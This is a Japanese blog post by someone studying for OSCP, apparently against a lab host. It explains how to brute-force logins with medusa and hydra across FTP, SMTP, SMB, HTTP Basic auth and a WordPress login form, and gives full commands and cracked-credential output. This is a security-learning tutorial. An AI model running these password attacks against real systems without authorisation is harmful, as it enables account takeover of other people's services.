akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

OSCP苦戦中 + medusa

どうも。
かなり久々の投稿。誰も見ていないと思うけど。


タイトルの通り、去年の6月末あたりからOSCP取得に向けてコースを受けていて、現在も取得できずに苦戦中です。
OSCPの詳細については受かってから詳しく書こうとは思いますが、最近カリキュラムの内容にアップデートがかかって、範囲が2倍になった模様。
価格も初期申込からだと全体的に上がっており、さらにハードルが高くなったように感じているが、密度の濃い内容になることは間違いない。

そんなこと気にしている場合じゃない。今はOSCP取得に向けて頑張るのみ。 

ということで、OSCP学習の過程で学んだ一つである「medusa」の使い方について、用途別で簡単に書こうと思います。

■medusaとは
ブルートフォース攻撃で使われるツールの1つです。
他のブルートフォース用のツールで有名どころで言えばhydra。

多様なプロトコルに対応していたり、webフォームに対する攻撃も柔軟に設定ができるので、medusaをよく使っています。

■準備
攻撃対象サーバのIPアドレス:192.168.179.123
パスワードリスト:以下

kali@kali:~$ cat password_list.txt 
admin
administrator
adm
test
test1
user
guest
user1
default
www-data
apache
kali@kali:~$ 


■ケース1 - シンプルなやつ
FTPだったり、SMTPだったりと、プロトコルに応じてシンプルに攻撃するパターン

FTP

medusa -h 192.168.179.123 -u admin -P password_list.txt -M ftp

出力結果:

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: admin (1 of 12 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: administrator (2 of 12 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: adm (3 of 12 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: test (4 of 12 complete)
ACCOUNT FOUND: [ftp] Host: 192.168.179.123 User: admin Password: test [SUCCESS]

admin/testで突破できたことがわかる。

他のプロトコルでも同様。

SMTP

medusa -h 192.168.179.123 -u admin -P password_list.txt -M smtp

SMB (-Mオプションの引数注意!)

medusa -h 192.168.179.123 -u admin -P password_list.txt -M smbnt


■ケース2 - HTTPのBasic認証
URLパスに指定がなければ、-Mにhttpを指定するだけ。

kali@kali:~$ medusa -h 192.168.179.123 -u guest -P password_list.txt -M http

もしBasic認証の対象URLにパスがつく場合。
targetURL: hxxp://192.168.179.123/guest/welcome.html

kali@kali:~$ medusa -h 192.168.179.123 -u guest -P password_list.txt -M http -m DIR:/guest/welcome.html

出力結果:

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: admin (1 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: administrator (2 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: adm (3 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: test (4 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: test1 (5 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: user (6 of 11 complete)
ACCOUNT CHECK: [http] Host: 192.168.179.123 (1 of 1, 0 complete) User: guest (1 of 1, 0 complete) Password: guest (7 of 11 complete)
ACCOUNT FOUND: [http] Host: 192.168.179.123 User: guest Password: guest [SUCCESS]
kali@kali:~$ 

guest/guestで突破できたことがわかる。

■ケース3 - ログインフォームの突破
ケース2との違いとしては、ログイン失敗時のシグナル(文字列)を設定することで、成功か否かを判別するというものです。
対象ページはWordpressのadminページを想定しています。

medusa -h 192.168.179.123 -u admin -P password_list.txt -M web-form -m FORM:"wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.179.123%2Fwp-admin%2F&testcookie=1" -m DENY-SIGNAL:"incorrect"

それぞれのオプションを軽くブレイクダウンすると

 -M web-form
  → web-formを指定

 -m FORM:"wp-login.php"
  → ログイン対象のページを指定 (パスがある場合は "path/wp-login.php")

 -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.179.123%2Fwp-admin%2F&testcookie=1"
  → POSTデータを指定。 BurpSuiteなどで一旦POSTデータを確認するとわかりやすい。
    ユーザ名、パスワードのイコール以降は指定しないのがポイント。
    (今回であればnameが「log=」、passwordが「pwd=」)

 -m DENY-SIGNAL:"incorrect"
  → ログイン失敗した場合のシグナルを指定。
    Wordpressページであれば存在するユーザ名でパスワードを間違えれば「incorrect」が含まれるのでそれを指定している。


ログインページにもよりますが、成功した場合こういう出力が出てきたりします。

ERROR: The answer was NOT successfully received, understood, and accepted while trying admin adm: error code  302
ACCOUNT CHECK: [web-form] Host: 192.168.179.123 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: adm (3 of 12 complete)

これは「DENY-SIGNALで指定した文字列を含まないページが返ってきてリダイレクトされたよ」ってメッセージです。
つまり成功したことでadminページにリダイレクトするためのレスポンスが返ってきたのでしょう。


■ケース4 - Cookieヘッダをつける
中にはセッションを保ったままBasic認証をしたりするようなものもあったりするので、Cookieヘッダのつけ方も知っておくと、いつか役に立つでしょう。
ついでにスピードをあげるために-tオプションでスレッド数も指定しておきましょう(デフォルト)

medusa -h 192.168.179.123 -u admin -P password_list.txt -M http -m CUSTOM-HEADER:"Cookie: JSESSIONID=9623996267A0F002BE597D77B161EE0B" -t 20


■ちなみにhydra
Basic認証

hydra -l admin -P password_list.txt 192.168.179.123 http-get
hydra -L namelist.txt -P password_list.txt 192.168.179.123 http-get

POSTでのログインフォーム

hydra -l admin -P password_list.txt 192.168.179.123 http-post-form '/login.php:user=^USER^&pass=^PASS^:login failed'

コロン(:)区切りの箇所は、3つめに失敗時のシグナルを指定する。

成功時の出力:

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-18 05:45:42
[DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:1/p:13), ~1 try per task
[DATA] attacking http-post-form://192.168.179.123:80/login.php:user=^USER^&pass=^PASS^:login failed
[80][http-post-form] host: 192.168.179.123   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-18 05:45:48

■まとめ
改めて書きながら実践していくと、POSTのログインフォームはhydraの方が使いやすいことがわかった。
明日から相方変更です。